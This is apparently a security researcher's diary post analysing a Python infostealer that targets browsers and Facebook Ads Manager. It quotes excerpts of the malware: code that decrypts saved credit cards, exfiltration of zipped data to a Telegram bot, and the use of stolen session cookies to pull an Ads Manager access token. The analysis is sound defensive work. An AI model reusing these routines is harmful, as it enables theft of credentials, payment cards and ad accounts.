Facebook AdsManager Targeted by a Python Infostealer

Published: 2024-01-25
Last Updated: 2024-01-25 06:00:14 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

These days, many pieces of malware are flagged as “infostealers” because, once running on the victim’s computer, they search for interesting data and exfiltrate them. Classic collected data are:

  • credentials
  • cookies
  • cryptocurrency details
  • technical information about the victim (public IP, OS version running processes, etc)

Credentials and cookies are used to take over web services used by the victim. For convenience, many people use the “remember me” feature on many websites. This allows the user to come back later to the websites without the need to authenticate again for a specific amount of time (ex: 1 day, 1 week, … sometimes “forever”!)

If some cookies are fascinating (ex: access to webmail, corporate services, …), what could be a practical example of abuse? Yesterday, I found another malicious Python script that behaves like an infostealer. It collects data from the following browsers:

  • Opera
  • Brave
  • Mozilla (Firefox)
  • Chrome
  • Edge
  • Coc Coc[1]

“Coc Coc” is a browser popular in Vietnam.

The script starts by collecting some details about the victim's computer and, based on the public IP address, the country. This information is used to prevent the malware from being active in Vietnam:

await GetInfoPC.get_all_info_pc()
if country.lower() == "vn":
    send_telegram_message(tokenbot_default,chatid_default,"Tool b? ch?n t?i Vi?t Nam!")

The malware used a Telegram bot as C2 server. The first message sent to the bot is in Vietnamese and means "Tool is blocked in Vietnam!".

The basic behavior is classic: it extracts juicy data from installed browsers, takes a screenshot, and saves everything into a random directory:

rootPath = os.path.join(local_appdata, "Public Application" + ''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789', k=3)))

Data is compressed and exfiltrated to the Telegram bot:

if status == 1: # status is set if at least one targeted browser is found
    zipPath = os.path.join(local_appdata, f"{country}_{bot_id}_{datetime.now().strftime('%d-%m-%Y %H-%M-%S')}.zip")
    if os.path.exists(zipPath):

    with zipfile.ZipFile(zipPath, 'w', zipfile.ZIP_DEFLATED) as zip_file:
        for root, dirs, files in os.walk(rootPath):
            for file in files:
                file_path = os.path.join(root, file)
                zip_file.write(file_path, os.path.relpath(file_path, rootPath))
    await SendData.send_to_tele(zipPath)

The following piece of code will convince you that storing your credit card details in a browser is not the best idea:

def base_chromium_getCreditCard(chromium_path, secret_key):
    credit_cards = []
    #Search user profile or default folder (this is where the encrypted login password is stored)
    folders = [name for name in os.listdir(chromium_path) if os.path.isdir(os.path.join(chromium_path, name))]
    for folder in folders:
            #(2) Get ciphertext from sqlite database
            chrome_path_login_db = os.path.normpath(r"%s\%s\Web Data"%(chromium_path,folder))
            conn = sqlite3.connect(chrome_path_login_db)
            if(secret_key and conn):
                cursor = conn.cursor()
                cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards")
                for index,creditCard in enumerate(cursor.fetchall()):
                    name = creditCard[0]
                    month = creditCard[1]
                    year = creditCard[2]
                    card_number = creditCard[3]
                        #(3) Filter the initialisation vector & encrypted password from ciphertext
                        #(4) Use AES algorithm to decrypt the password
                        decrypted_card_number = decrypt_password(card_number, secret_key)
                        credit_cards.append({'name' : name, 'expiration' : str(month)+"/"+str(year), 'card_number' : decrypted_card_number, 'app' : chromium_path.split("\\")[2]+"-"+folder})
                #Close database connection
        except Exception as e:
            print('[ERR] error when decrypting credit card')
    return credit_cards

Then, we have in this script an excellent example of session cookies abuse:

In the function “base_firefox_getCookies(), there is this piece of code:

if len(cookieFBArray) > 0:
        cookieFB = ";".join(cookieFBArray)
        headers = {
            'authority': 'adsmanager.facebook.com',
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
            'cache-control': 'max-age=0',
            'sec-ch-prefers-color-scheme': 'dark',
            'sec-ch-ua': '"Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"',
            'sec-ch-ua-full-version-list': '"Chromium";v="112.0.5615.140", "Google Chrome";v="112.0.5615.140", "Not:A-Brand";v=""',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-ch-ua-platform-version': '"15.0.0"',
            'sec-fetch-dest': 'document',
            'sec-fetch-mode': 'navigate',
            'sec-fetch-site': 'same-origin',
            'sec-fetch-user': '?1',
            'upgrade-insecure-requests': '1',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36',
            'viewport-width': '794',
        pcookieFB = parse_cookie(cookieFB)
        id,token= get_market(pcookieFB,headers)

If cookies related to Facebook are discovered, they are used to get a token from the adsmanager[.]facebook[.]com website:

def get_market(cookies,headers):
    rq = requests.get('https://adsmanager.facebook.com/adsmanager/manage',cookies=cookies,headers=headers)
    list_data = rq.text
    x = list_data.split("act=")
    idx = x[1].split('&')[0]
    id = 'act_'+idx
    rq = requests.get(f'https://adsmanager.facebook.com/adsmanager/manage/campaigns?act={idx}&breakdown_regrouping=0',cookies=cookies,headers=headers)
    list_token = rq.text
    x_token = list_token.split('{window.__accessToken="')
    token = (x_token[1].split('";')[0])
    return id,token

This service helps you to create and manage advertisement campaigns on Facebook! The malware will grab all details about the campaigns, budget, etc. AFAIK, it won't modify anything, just exfiltrates all data. But, now that the attacker has full details, worse things may happen!

The bot is alive but seems to be idle... I

curl -s "https://api[.]telegram[.]org/bot6453235***:AAHa67pMUGuvhmEuR0plPhzWLQsMd-qA***/getMe" | jq .
  "ok": true,
  "result": {
    "id": 6453235***,
    "is_bot": true,
    "first_name": "bot_cham_bat_new",
    "username": "bot_cham_bat_new_bot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false

The Python script is on VT[2] and has currently a score of 6/60.

[1] https://coccoc.com/en
[2] https://www.virustotal.com/gui/file/2f3b5227679782a4859eed78c77efc682286beb21499ac369c3bfffcb0e6a3e2/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)


Diary Archives